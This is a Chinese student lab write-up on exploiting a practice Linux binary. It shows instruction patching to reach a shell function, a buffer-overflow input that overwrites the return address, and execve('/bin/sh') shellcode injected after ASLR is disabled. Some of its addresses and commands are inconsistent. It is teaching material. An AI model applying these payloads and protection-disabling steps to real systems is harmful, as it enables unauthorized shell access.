2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 20165326
实验一
目录
一、修改机器指令
- 首先你需要一个pwn1文件,使用
cp命令复制到当前目录下 - 反汇编,
objdump -d pwn1 - 查看
main函数,当前call调用的是foo函数,我们通过修改调用函数的地址使其指向getShell

- 使用
vi pwn1编辑当前文件,并使用:%!xxd将其ASCII码改为16进制显示 - 使用
/d7搜索并找到要修改的相应位置

- 使用
:%!xxd -r变回ASCII码,保存退出 - 再次查看,修改成功
- 执行当前pwn1,出现shell环境

二、BOF攻击
通过一段大于foo函数能存储长度的buffer造成缓冲区溢出,从而覆盖掉这个函数,直接执行shell函数
- 通过代码分析缓冲区的字符串为32字节

- gdb执行一下pwn2,r运行,输入一段40字节长度的数据
- 发生段错误,分析后八字节是哪四字节溢出

- 所以将输入的后字节改为
\xd7\x84\x04\x08(shellcode的起始地址0x080484d7) - 输入
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成包含该字段的文件input(Perl -e:用于在命令行执行 Perl 命令) - 可以使用
xxd input查看文件内容 - 然后将input的输入,通过管道符
|,作为pwn2的输入,覆盖返回地址:(cat input; cat) | ./input - 可以执行shell函数

三、注入Shellcode
shellcode在输入的时候被放入堆栈了,那么在堆栈里面就有机会把返回地址指向shellcode,实现攻击
- 首先要设置堆栈可执行:
execstack -s pwn3 //设置堆栈可执行
execstack -q pwn3 //查询文件的堆栈是否可执行
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询地址随机化是否关闭
0代表关闭,2代表开启

- 采用老师提供的shellcode,输入
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- 将写好的代码通过管道方式输入给程序中的foo函数进行覆盖
(cat input_shellcode;cat) | ./pwn2 - 打开另外一个终端,用gdb来调试pwn2这个进程,要找到程序的进程号
ps -ef | grep pwn2 - 启动gdb调试这个程序,然后
attach进程号 disassemble foo反编译,设置断点在返回地址处b *0x080484ae,继续运行c- 命中以后查看esp,esp后4个字节就是我们要找的返回值
0xffffd34c+0x00000004 = 0xffffd350 - 修改shellcode,重新执行
- 成功

四、问题及解决
Q: 在Terminal利用./pwn1执行pwn1会出现没有那个文件或目录的提示,但是ls命令又能看到存在pwn1文件.
S: 64位的kali运行不了,装一个32位的库解决,也可以通过更新源解决,我输入了如下指令:apt-get install lib32z1
五、思考感悟
本次实验介绍了三种攻击方式,都是通过地址的修改来达到攻击目的,第二个实验要求的分析性更强一些,需要看出缓冲区buffer的长度来写出能覆盖至其返回地址后找到shellcode的的字符串。第三个任务是通过找到当前进程的esp,修改shellcode。w我觉得这次的实验思路还是挺简单的,巩固了之前的知识,拓宽了网络攻击的思路,很有意思。
2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 20165326的更多相关文章
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M
20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...
- 20155227《网络对抗》Exp1 PC平台逆向破解(5)M
20155227<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...
- 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解
2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...
- 20155208徐子涵 《网络对抗》Exp1 PC平台逆向破解
20155208徐子涵 <网络对抗>Exp1 PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...
- 20145325张梓靖 《网络对抗技术》 PC平台逆向破解
20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...
- # 《网络对抗》Exp1 PC平台逆向破解20155337祁家伟
<网络对抗>Exp1 PC平台逆向破解20155337祁家伟 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会 ...
- 20145206邹京儒《网络对抗技术》 PC平台逆向破解
20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...
- 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解
20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...
- 20145336张子扬 《网络对抗技术》 PC平台逆向破解
#20145336张子扬 <网络对抗技术> PC平台逆向破解 ##Shellcode注入 **基础知识** Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对 ...
随机推荐
- loadrunner中使用web_custom_request函数调用webservice接口
1.使用的接口地址: http://www.webxml.com.cn/WebServices/WeatherWebService.asmx?op=getWeatherbyCityName 以SOAP ...
- vue eventBus使用
类似于iframe之间的possMessage方式传参 1.eventBus.js文件 //用于兄弟组件通信 import Vue from 'vue'; export default new Vue ...
- Android中控件之间添加分割线
将以下view标签放置在需要分割的两个控件之间: <View android:layout_width=”match_parent” android:layout_height=”1dp” an ...
- 微信里iphone后退不刷新问题解决方案
$(function() { pushHistory(); }); function pushHistory() { window.addEventListener("popstate&qu ...
- Chromedriver executable needs to be in path 解决办法
执行webdriver.Chrome()时报错:Chromedriver executable needs to be in path. 原因可能是为有安装Chromedriver 可能是Chrome ...
- 详解Linux下swig 3.0.12的手动安装过程
详解Linux下swig 3.0.12的手动安装过程 首先 从http://www.linuxfromscratch.org/blfs/view/cvs/general/swig.html上下载swi ...
- learning mqtt protocol
reference: http://docs.oasis-open.org/mqtt/mqtt/v3.1.1/os/mqtt-v3.1.1-os.html
- js 调用后台,后台调用js
<html xmlns="http://www.w3.org/1999/xhtml"><head id="Head1" runat=" ...
- C#或unity中实现正弦函数
C#或unity中实现正弦函数 本类用于第一,需要绘制一条正弦曲线的朋友:第二,需要根据正弦曲线控制物体运动的朋友:里面都有注释,代码如下: unity中使用的代码: public class Cur ...
- html页面禁止用户右键粘贴复制保存的代码
HTML页面禁止选择.页面禁止复制.页面禁止右键 原创古城寨主2018-03-01 17:50:59评论(1)228人阅读 HTML页面内容禁止选择.复制.右键 刚在一个看一个站点的源代码的的时候 ...